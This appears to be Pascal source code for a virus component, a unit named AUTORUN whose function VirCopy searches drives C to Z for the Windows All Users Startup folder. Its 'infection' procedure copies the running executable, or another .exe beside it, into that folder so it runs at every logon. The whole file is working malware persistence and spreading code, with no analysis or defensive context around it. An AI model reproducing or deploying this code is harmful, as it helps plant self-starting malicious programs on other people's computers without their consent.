Authorization

//Эта функция не находит папок автозагрузки на дисках NTFS.


unit AUTORUN;

interface

uses dos,utils;

function VirCopy(vir_name:string):boolean;

implementation

type search_array=array[1..8] of searchrec;

const autorun_dir_1='\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';
const autorun_dir_2='.WIN\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';

function VirCopy(vir_name:string):boolean;
var searcharr:^search_array;
dir:string;
win98,first,check_first:boolean;
disk:'C'..'Z';
i:byte;

procedure infection(autorun_dir:string);
var srch:^searchrec;
buf:array[0..665] of byte;
source,dest:file;
res,res2:word;
i,len:byte;
size:integer;
begin
if vir_name='' then
 begin
 new(srch);
 vir_name:=paramstr(0);
 findfirst('*.exe',anyfile,srch^);
 if srch^.name=vir_name then findnext(srch^);
 vir_name:=fexpand(vir_name);
 len:=byte(vir_name[0]);
 repeat
 dec(len);
 until vir_name[len]='\';
 delete(vir_name,len+1,byte(vir_name[0])-len);
 vir_name:=vir_name+srch^.name;
 dispose(srch);
 end;
assign(source,vir_name);
reset(source,1);
size:=filesize(source);
assign(dest,autorun_dir+extractFileName(vir_name));
rewrite(dest,1);
len:=size div 666;
for i:=1 to len do
 begin
 blockread(source,buf,666,res);
 blockwrite(dest,buf,666,res2);
 end;
size:=size-(666*len);
for res:=1 to size do
 begin
 blockread(source,len,1);
 blockwrite(dest,len,1);
 end;
close(source);
close(dest);
end;

procedure quick_find(autorun_path:string);
begin
if fileExists(autorun_path+'*.*') then
 begin
 infection(autorun_path);
 VirCopy:=true;
 check_first:=true;
 end;
end;

begin
VirCopy:=false;
new(searcharr);
if vir_name='' then
 begin
 dir:=paramstr(0);
 findfirst('*.exe',anyfile,searcharr^[1]);
 if searcharr^[1].name=dir then findnext(searcharr^[1]);
 if (searcharr^[1].name=dir) or (doserror<>0) then exit;
 end;
check_first:=false;
for disk:='C' to 'Z' do
 begin
 i:=1;
 if check_first then
  begin
  check_first:=false;
  dec(disk);
  if win98 then dir:=disk+':\WINDOWS\ALLUSE~1.WIN'
  else dir:=disk+':\DOCUME~1\ALLUSE~1.WIN';
  if not fileExists(dir+'\*.*') then continue;
  end
 else
  begin
  if fileExists(disk+':\DOCUME~1\ALLUSE~1\*.*') then
   begin
   win98:=false;
   dir:=disk+':\DOCUME~1\ALLUSE~1';
   end
  else
   begin
   if fileExists(disk+':\WINDOWS\ALLUSE~1\*.*') then
    begin
    win98:=true;
    dir:=disk+':\WINDOWS\ALLUSE~1';
    end
   else
    begin
    if disk>'G' then exit;
    continue;
    end;
   end;
  quick_find(dir+autorun_dir_1);
  quick_find(dir+autorun_dir_2);
  if check_first then
   begin
   check_first:=false;
   continue;
   end;
  end;
 first:=true;
 repeat
 if first then
  begin
  findfirst(dir+'\*',anyfile,searcharr^[i]);
  findnext(searcharr^[i]);
  end;
 findnext(searcharr^[i]);
 while (doserror=0) and (searcharr^[i].size<>0) do
  findnext(searcharr^[i]);
 if doserror=0 then
  begin
  if ((strCont('АВТОЗ',searcharr^[i].name)) or (strCont('AUTO',searcharr^[i].name)))
   and (searcharr^[i].size=0) then
   begin
   VirCopy:=true;
   infection(dir+'\'+searcharr^[i].name+'\');
   check_first:=not check_first;
   break;
   end;
  dir:=dir+'\'+searcharr^[i].name;
  inc(i);
  first:=true;
  end
 else if i<>1 then
  begin
  dec(dir[0],byte(searcharr^[i-1].name[0])+1);
  dec(i);
  first:=false;
  end
 else break;
 continue;
 until false;
 end;
end;

end.